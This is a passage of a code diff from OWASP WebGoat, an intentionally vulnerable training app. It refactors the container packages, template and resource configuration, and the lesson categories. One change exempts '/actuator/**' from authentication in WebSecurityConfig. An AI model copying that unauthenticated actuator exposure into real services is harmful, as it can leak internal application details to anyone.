+import org.owasp.webgoat.container.session.LabelDebugger;
 import org.springframework.context.ApplicationContext;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.core.io.ResourceLoader;
+import org.springframework.core.io.support.ResourcePatternResolver;
 import org.springframework.web.servlet.LocaleResolver;
 import org.springframework.web.servlet.ViewResolver;
 import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
 import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
 import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
-import org.thymeleaf.TemplateEngine;
+import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
 import org.thymeleaf.spring5.SpringTemplateEngine;
 import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
 import org.thymeleaf.spring5.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
 
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
 import java.util.Set;
 
 /**
  * Configuration for Spring MVC
  */
 @Configuration
+@RequiredArgsConstructor
 public class MvcConfiguration implements WebMvcConfigurer {
 
     private static final String UTF8 = "UTF-8";
 
+    private final LessonScanner lessonScanner;
+
     @Override
     public void addViewControllers(ViewControllerRegistry registry) {
         registry.addViewController("/login").setViewName("login");
         registry.addViewController("/lesson_content").setViewName("lesson_content");
         registry.addViewController("/start.mvc").setViewName("main_new");
         registry.addViewController("/scoreboard").setViewName("scoreboard");
-        //registry.addViewController("/list_users").setViewName("list_users");
     }
 
     @Bean
     public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
         ThymeleafViewResolver resolver = new ThymeleafViewResolver();
         resolver.setTemplateEngine(thymeleafTemplateEngine);
-        resolver.setCharacterEncoding("UTF-8");
+        resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
         return resolver;
     }
 
+    /**
+     * Responsible for loading lesson templates based on Thymeleaf, for example:
+     *
+     * <div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+     */
+    @Bean
+    public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
+        var resolver = new FileTemplateResolver() {
+            @Override
+            protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+               try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
+                    return new StringTemplateResource(new String(is.readAllBytes(), StandardCharsets.UTF_8));
+               } catch (IOException e) {
+                   return null;
+               }
+            }
+        };
+        resolver.setOrder(1);
+        return resolver;
+    }
+
+    /**
+     * Loads all normal WebGoat specific Thymeleaf templates
+     */
     @Bean
     public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
         SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
-        resolver.setPrefix("classpath:/templates/");
+        resolver.setPrefix("classpath:/webgoat/templates/");
         resolver.setSuffix(".html");
         resolver.setTemplateMode(TemplateMode.HTML);
         resolver.setOrder(2);
-        resolver.setCacheable(false);
         resolver.setCharacterEncoding(UTF8);
         resolver.setApplicationContext(applicationContext);
         return resolver;
     }
 
+    /**
+     * Loads the html for the complete lesson, see lesson_content.html
+     */
     @Bean
     public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
         LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
@@ -102,9 +139,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return resolver;
     }
 
+    /**
+     * Loads the lesson asciidoc.
+     */
     @Bean
-    public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(Language language) {
+    public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
-        AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(language);
+        AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(resourceLoader);
         resolver.setCacheable(false);
         resolver.setOrder(1);
         resolver.setCharacterEncoding(UTF8);
@@ -114,26 +154,37 @@ public class MvcConfiguration implements WebMvcConfigurer {
     @Bean
     public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
                                                         LessonTemplateResolver lessonTemplateResolver,
-                                                        AsciiDoctorTemplateResolver asciiDoctorTemplateResolver) {
+                                                        AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
+                                                        ITemplateResolver lessonThymeleafTemplateResolver) {
         SpringTemplateEngine engine = new SpringTemplateEngine();
         engine.setEnableSpringELCompiler(true);
         engine.addDialect(new SpringSecurityDialect());
         engine.setTemplateResolvers(
-                Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, springThymeleafTemplateResolver));
+                Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver));
         return engine;
     }
 
     @Override
     public void addResourceHandlers(ResourceHandlerRegistry registry) {
-        registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
+        //WebGoat internal
-        registry.addResourceHandler("/lesson_js/**").addResourceLocations("classpath:/js/");
+        registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
-        registry.addResourceHandler("/lesson_css/**").addResourceLocations("classpath:/css/");
+        registry.addResourceHandler("/js/**")
-        registry.addResourceHandler("/video/**").addResourceLocations("classpath:/video/");
+                .addResourceLocations("classpath:/webgoat/static/js/");
+        registry.addResourceHandler("/plugins/**").addResourceLocations("classpath:/webgoat/static/plugins/");
+        registry.addResourceHandler("/fonts/**").addResourceLocations("classpath:/webgoat/static/fonts/");
+
+        //WebGoat lessons
+        registry.addResourceHandler("/images/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_js/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_css/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_templates/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
+        registry.addResourceHandler("/video/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
     }
 
     @Bean
-    public PluginMessages pluginMessages(Messages messages, Language language) {
+    public PluginMessages pluginMessages(Messages messages, Language language,
-        PluginMessages pluginMessages = new PluginMessages(messages, language);
+                                         ResourcePatternResolver resourcePatternResolver) {
+        PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
         pluginMessages.setDefaultEncoding("UTF-8");
         pluginMessages.setBasenames("i18n/WebGoatLabels");
         pluginMessages.setFallbackToSystemLocale(false);
@@ -156,8 +207,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
 
     @Bean
     public LocaleResolver localeResolver() {
-        SessionLocaleResolver slr = new SessionLocaleResolver();
+        return new SessionLocaleResolver();
-        return slr;
     }
 
     @Bean

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -29,13 +29,16 @@
  * @since October 28, 2003
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
-import org.owasp.webgoat.session.UserSessionData;
+import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
 import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
 import org.springframework.web.client.RestTemplate;
@@ -43,6 +46,9 @@ import org.springframework.web.client.RestTemplate;
 import java.io.File;
 
 @Configuration
+@ComponentScan(basePackages = { "org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@PropertySource("classpath:application-webgoat.properties")
+@EnableAutoConfiguration
 public class WebGoat {
 
     @Bean(name = "pluginTargetDirectory")

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -28,10 +28,10 @@
  * @since December 12, 2015
  */
 
-package org.owasp.webgoat;
+package org.owasp.webgoat.container;
 
 import lombok.AllArgsConstructor;
-import org.owasp.webgoat.users.UserService;
+import org.owasp.webgoat.container.users.UserService;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
@@ -58,7 +58,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
     protected void configure(HttpSecurity http) throws Exception {
         ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
                 .authorizeRequests()
-                .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll()
+                .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**").permitAll()
                 .anyRequest().authenticated();
         security.and()
                 .formLogin()
@@ -77,7 +77,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
 
     @Autowired
     public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
-        auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());
+        auth.userDetailsService(userDetailsService);
     }
 
     @Bean

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.servlet.ModelAndView;
+
+@Controller
+@RequiredArgsConstructor
+public class WebWolfRedirect {
+
+    private final ApplicationContext applicationContext;
+
+    @GetMapping("/WebWolf")
+    public ModelAndView openWebWolf() {
+        var url = applicationContext.getEnvironment().getProperty("webwolf.url");
+
+        return new ModelAndView("redirect:" + url + "/home");
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.springframework.beans.BeansException;
 import org.springframework.context.ApplicationContext;

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -1,8 +1,8 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
-import org.owasp.webgoat.users.WebGoatUser;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
 import java.util.Map;
@@ -21,8 +21,8 @@ public class UsernameMacro extends InlineMacroProcessor {
     public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
         var auth = SecurityContextHolder.getContext().getAuthentication();
         var username = "unknown";
-        if (auth.getPrincipal() instanceof WebGoatUser) {
+        if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
-            username = ((WebGoatUser) auth.getPrincipal()).getUsername();
+            username = webGoatUser.getUsername();
         }
 
         //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
@@ -27,7 +27,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
     @Override
     public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
         var env = EnvironmentExposure.getEnv();
-        var hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
+        var hostname = determineHost(env.getProperty("webwolf.port"));
         var target = (String) attributes.getOrDefault("target", "home");
         var href = hostname + "/" + target;
 
@@ -44,7 +44,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
     }
 
     private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
-        return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent();
+        return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
     }
 
     /**
@@ -54,9 +54,9 @@ public class WebWolfMacro extends InlineMacroProcessor {
      * You do not have to use the indicated hostname, but if you do, you should define two hosts aliases
      * 127.0.0.1 www.webgoat.local www.webwolf.local
      */
-    private String determineHost(String host, String port) {
+    private String determineHost(String port) {
         HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-        host = request.getHeader("Host");
+        String host = request.getHeader("Host");
         int semicolonIndex = host.indexOf(":");
         if (semicolonIndex == -1 || host.endsWith(":80")) {
             host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.asciidoc;
+package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
 
@@ -18,6 +18,7 @@ public class WebWolfRootMacro extends WebWolfMacro {
         super(macroName, config);
     }
 
+    @Override
     protected boolean includeWebWolfContext() {
         return false;
     }

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -23,16 +23,17 @@
  * <p>
  */
 
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
 import lombok.Getter;
-import org.owasp.webgoat.i18n.PluginMessages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.session.UserSessionData;
+import org.owasp.webgoat.container.lessons.Initializeable;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.users.UserTrackerRepository;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.beans.factory.annotation.Autowired;
 
-public abstract class AssignmentEndpoint {
+public abstract class AssignmentEndpoint implements Initializeable {
 
     @Autowired
     private WebSession webSession;
@@ -83,4 +84,8 @@ public abstract class AssignmentEndpoint {
     protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
         return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
     }
+
+    @Override
+    public void initialize(WebGoatUser user) {
+    }
 }

src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;

src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
 import org.springframework.web.bind.annotation.RequestMethod;
 

src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java

@@ -23,11 +23,12 @@
  * <p>
  */
 
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
 import lombok.Getter;
-import org.apache.commons.lang3.StringEscapeUtils;
+import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.i18n.PluginMessages;
+
+import static org.apache.commons.text.StringEscapeUtils.escapeJson;
 
 public class AttackResult {
 
@@ -107,8 +108,8 @@ public class AttackResult {
 
     public AttackResult(boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) {
         this.lessonCompleted = lessonCompleted;
-        this.feedback = StringEscapeUtils.escapeJson(feedback);
+        this.feedback = escapeJson(feedback);
-        this.output = StringEscapeUtils.escapeJson(output);
+        this.output = escapeJson(output);
         this.assignment = assignment;
         this.attemptWasMade = attemptWasMade;
     }

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -20,11 +20,11 @@
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.assignments;
+package org.owasp.webgoat.container.assignments;
 
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.users.UserTrackerRepository;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
 import org.springframework.core.MethodParameter;
 import org.springframework.http.MediaType;
 import org.springframework.http.converter.HttpMessageConverter;
@@ -51,8 +51,8 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
 
     @Override
     public Object beforeBodyWrite(Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) {
-        if (o != null && o instanceof AttackResult) {
+        if (o instanceof AttackResult attackResult) {
-            trackProgress((AttackResult) o);
+            trackProgress(attackResult);
         }
         return o;
     }

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -29,21 +29,16 @@
  * @since October 28, 2003
  */
 
-package org.owasp.webgoat.controller;
+package org.owasp.webgoat.container.controller;
 
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.session.WebSession;
-import org.springframework.security.core.context.SecurityContext;
-import org.springframework.security.core.context.SecurityContextHolder;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;
 
 import javax.servlet.http.HttpServletRequest;
-import java.util.List;
-import java.util.Optional;
 
 
 @Controller
@@ -52,7 +47,7 @@ public class StartLesson {
     private final WebSession ws;
     private final Course course;
 
-    public StartLesson(final WebSession ws, final Course course) {
+    public StartLesson(WebSession ws, Course course) {
         this.ws = ws;
         this.course = course;
     }
@@ -64,29 +59,30 @@ public class StartLesson {
      */
     @RequestMapping(path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST})
     public ModelAndView start() {
-        ModelAndView model = new ModelAndView();
+        var model = new ModelAndView();
 
         model.addObject("course", course);
         model.addObject("lesson", ws.getCurrentLesson());
         model.setViewName("lesson_content");
+
         return model;
     }
 
     @RequestMapping(value = {"*.lesson"}, produces = "text/html")
     public ModelAndView lessonPage(HttpServletRequest request) {
-        // I will set here the thymeleaf fragment location based on the resource requested.
+        var model = new ModelAndView("lesson_content");
-        ModelAndView model = new ModelAndView();
+        var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
-        SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring
+        var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
-        //GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
+
-        String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
+        course.getLessons()
-        String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
+                .stream()
-        List<? extends Lesson> lessons = course.getLessons();
-        Optional<? extends Lesson> lesson = lessons.stream()
                 .filter(l -> l.getId().equals(lessonName))
-                .findFirst();
+                .findFirst()
-        ws.setCurrentLesson(lesson.get());
+                .ifPresent(lesson -> {
-        model.setViewName("lesson_content");
+                    ws.setCurrentLesson(lesson);
-        model.addObject("lesson", lesson.get());
+                    model.addObject("lesson", lesson);
+                });
+
         return model;
     }
 

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -29,11 +29,10 @@
  * @version $Id: $Id
  */
 
-package org.owasp.webgoat.controller;
+package org.owasp.webgoat.container.controller;
 
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;
 
 import javax.servlet.http.HttpServletRequest;
@@ -56,7 +55,7 @@ public class Welcome {
      * @param request a {@link javax.servlet.http.HttpServletRequest} object.
      * @return a {@link org.springframework.web.servlet.ModelAndView} object.
      */
-    @RequestMapping(path = {"welcome.mvc", "/"}, method = RequestMethod.GET)
+    @GetMapping(path = {"welcome.mvc"})
     public ModelAndView welcome(HttpServletRequest request) {
 
         // set the welcome attribute
@@ -69,8 +68,6 @@ public class Welcome {
         
         //go ahead and send them to webgoat (skip the welcome page)
         ModelAndView model = new ModelAndView();
-        //model.setViewName("welcome");
-        //model.setViewName("main_new");
         model.setViewName("forward:/attack?start=true");
         return model;
     }

src/main/java/org/owasp/webgoat/container/i18n/Language.java

@@ -23,7 +23,7 @@
  * <p>
  */
 
-package org.owasp.webgoat.i18n;
+package org.owasp.webgoat.container.i18n;
 
 import lombok.AllArgsConstructor;
 import org.springframework.web.context.request.RequestContextHolder;

src/main/java/org/owasp/webgoat/container/i18n/Messages.java

@@ -23,7 +23,7 @@
  * <p>
  */
 
-package org.owasp.webgoat.i18n;
+package org.owasp.webgoat.container.i18n;
 
 import lombok.AllArgsConstructor;
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;

src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java

@@ -23,14 +23,12 @@
  * <p>
  */
 
-package org.owasp.webgoat.i18n;
+package org.owasp.webgoat.container.i18n;
 
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;
+import org.springframework.core.io.support.ResourcePatternResolver;
 
 import java.io.IOException;
-import java.net.URISyntaxException;
-import java.net.URL;
-import java.util.Enumeration;
 import java.util.Properties;
 
 /**
@@ -42,12 +40,15 @@ import java.util.Properties;
 public class PluginMessages extends ReloadableResourceBundleMessageSource {
     private static final String PROPERTIES_SUFFIX = ".properties";
 
-    private Language language;
+    private final Language language;
+    private final ResourcePatternResolver resourcePatternResolver;
 
-    public PluginMessages(Messages messages, Language language) {
+
+    public PluginMessages(Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
         this.language = language;
         this.setParentMessageSource(messages);
         this.setBasename("WebGoatLabels");
+        this.resourcePatternResolver = resourcePatternResolver;
     }
 
     @Override
@@ -55,16 +56,15 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
         Properties properties = new Properties();
         long lastModified = System.currentTimeMillis();
 
-        Enumeration<URL> resources = null;
         try {
-            resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" +
-            while (resources.hasMoreElements()) {
+                    "/WebGoatLabels" + PROPERTIES_SUFFIX);
-                URL resource = resources.nextElement();
+            for (var resource : resources) {
-                String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
+                String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
                 PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
                 properties.putAll(holder.getProperties());
             }
-        } catch (IOException | URISyntaxException e) {
+        } catch (IOException e) {
             logger.error("Unable to read plugin message", e);
         }
 

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.*;
 
@@ -66,14 +66,4 @@ public class Assignment {
         this.hints = hints;
     }
 
-    /**
-     * Set path is here to overwrite stored paths.
-     * Since a stored path can no longer be used in a lesson while
-     * the lesson (name) itself is still part of the lesson.
-     *
-     * @param pathName the path
-     */
-    public void setPath(String pathName) {
-        this.path = pathName;
-    }
 }

src/main/java/org/owasp/webgoat/container/lessons/Category.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.Getter;
 
@@ -39,36 +39,19 @@ public enum Category {
     INTRODUCTION("Introduction", 5),
     GENERAL("General", 100),
     
-    INJECTION("(A1) Injection", 300),
+    A1("(A1) Broken Access Control", 301),
-    AUTHENTICATION("(A2) Broken Authentication", 302),
+    A2("(A2) Cryptographic Failures", 302),
-    INSECURE_COMMUNICATION("(A3) Sensitive Data Exposure", 303),
+    A3("(A3) Injection", 303),
-    XXE("(A4) XML External Entities (XXE)", 304),
-    ACCESS_CONTROL("(A5) Broken Access Control", 305),
 
-    XSS("(A7) Cross-Site Scripting (XSS)", 307),
+    A5("(A5) Security Misconfiguration", 305),
-    INSECURE_DESERIALIZATION("(A8) Insecure Deserialization", 308),
+    A6("(A6) Vuln & Outdated Components", 306),
-    VULNERABLE_COMPONENTS("(A9) Vulnerable Components", 309),
+    A7("(A7) Identity & Auth Failure", 307),
+    A8("(A8) Software & Data Integrity", 308),
+    A9("(A9) Security Logging Failures", 309),
+    A10("(A10) Server-side Request Forgery", 310),    
     
-    REQUEST_FORGERIES("(A8:2013) Request Forgeries", 318),
-
-    
-    REQ_FORGERIES("Request Forgeries", 450),
-    
-    INSECURE_CONFIGURATION("Insecure Configuration", 600),
-    INSECURE_STORAGE("Insecure Storage", 800),
-    
-    
-    AJAX_SECURITY("AJAX Security", 1000),
-    BUFFER_OVERFLOW("Buffer Overflows", 1100),
-    CODE_QUALITY("Code Quality", 1200),
-    CONCURRENCY("Concurrency", 1300),
-    ERROR_HANDLING("Improper Error Handling", 1400),
-    DOS("Denial of Service", 1500),
-    MALICIOUS_EXECUTION("Malicious Execution", 1600),
     CLIENT_SIDE("Client side", 1700),
-    SESSION_MANAGEMENT("Session Management Flaws", 1800),
+
-    WEB_SERVICES("Web Services", 1900),
-    ADMIN_FUNCTIONS("Admin Functions", 2000),
     CHALLENGE("Challenges", 3000);
 
     @Getter

src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java

@@ -20,14 +20,14 @@
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.ArrayUtils;
-import org.owasp.webgoat.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
-import org.owasp.webgoat.assignments.AssignmentHints;
+import org.owasp.webgoat.container.assignments.AssignmentHints;
-import org.owasp.webgoat.assignments.AttackResult;
+import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.container.session.Course;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.util.CollectionUtils;
@@ -67,9 +67,11 @@ public class CourseConfiguration {
         var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
         if (CollectionUtils.isEmpty(endpoints)) {
             log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
-            return new ArrayList();
+            return new ArrayList<>();
         }
-        return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
+        return endpoints.stream()
+                .map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
+                .toList();
     }
 
     private String getPath(Class<? extends AssignmentEndpoint> e) {

src/main/java/org/owasp/webgoat/container/lessons/Hint.java

@@ -25,7 +25,7 @@
  * 
  */
 
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.Value;
 

src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java

@@ -0,0 +1,12 @@
+package org.owasp.webgoat.container.lessons;
+
+import org.owasp.webgoat.container.users.WebGoatUser;
+
+/**
+ * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and when a users
+ * reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
+ */
+public interface Initializeable {
+
+    void initialize(WebGoatUser webGoatUser);
+}

src/main/java/org/owasp/webgoat/container/lessons/Lesson.java

@@ -20,11 +20,10 @@
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.Getter;
 import lombok.Setter;
-import lombok.Singular;
 
 import java.util.List;
 
@@ -39,7 +38,7 @@ public abstract class Lesson {
     /**
      * Constructor for the Lesson object
      */
-    public Lesson() {
+    protected Lesson() {
         id = ++count;
     }
 
@@ -66,7 +65,7 @@ public abstract class Lesson {
     /**
      * <p>getDefaultCategory.</p>
      *
-     * @return a {@link org.owasp.webgoat.lessons.Category} object.
